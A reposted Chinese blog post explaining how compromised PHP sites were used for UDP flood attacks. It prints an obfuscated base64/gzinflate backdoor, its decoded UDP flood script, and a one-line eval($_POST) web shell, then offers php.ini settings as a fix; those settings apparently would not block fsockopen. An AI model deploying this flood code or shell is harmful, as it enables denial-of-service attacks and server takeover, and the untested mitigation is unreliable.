300字范文,内容丰富有趣,生活中的好帮手!
300字范文 > php 获取带宽 php使用网络攻击占用超大带宽的 解决方案[转]

php 获取带宽 php使用网络攻击占用超大带宽的 解决方案[转]

时间:2020-07-28 16:53:08

相关推荐

php 获取带宽 php使用网络攻击占用超大带宽的 解决方案[转]

未测试

关于近期一些服务器遭受UDP攻击的说明

近来我有一两台服务器显示经常受到udp攻击

导致服务器带宽占用到100%,用华盾查流量占用也无法查到具体是哪个站被攻击了,起初以为是cc攻击,因为停止了iis带宽就为0了,其实不然,都是部分用户被入侵导致的

下面我想说一下被入侵的原理

用户程序中的一个php页面的原代码:

< ?php

/*

gl

*/

eval(gzinflate(base64_decode(\’DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99D

Ofz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm7

8dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3m

Dx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE

9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDx

K10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgY

uaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4Txaem

BF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavO

lDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgE

JNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUt

LvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT

+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS

/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2Cn

KoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR

1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4O

wQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/\’)));

?>

经过N次解密后的代码:

< ?php

$packets = 0;

$ip = $_GET[\’ip\’];

$rand = $_GET[\’port\’];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[\’time\’];

$time = time();

print \”Flooded: $ip on port $rand

\”;

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= \”X\”;

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo \”Packet complete at \”.time(\’h:i:s\’).\” with $packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”. round($packets/$exec_time, 2) . \” packets/s \\n\”;

?>

< ?php eval($_POST[ddos])?>

baidu了一下工作原理:

先把你代码放到一个正常的网页中.

通过url传递IP和端口以udp的方式打开.传递文件到服务器写出.

这样服务器就中招了.

也就是服务器显示udp攻击,带宽占用非常之严重,基本是100%,一般徘徊在97%-99%之间

解决方案:

在php.ini中限制php用网络。

在php.ini里设其值为Off

allow_url_fopen = Off

并且:

;extension=php_sockets.dll

前面的;号一定要有,意思就是限制用sockets.dll

然后重启IIS

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。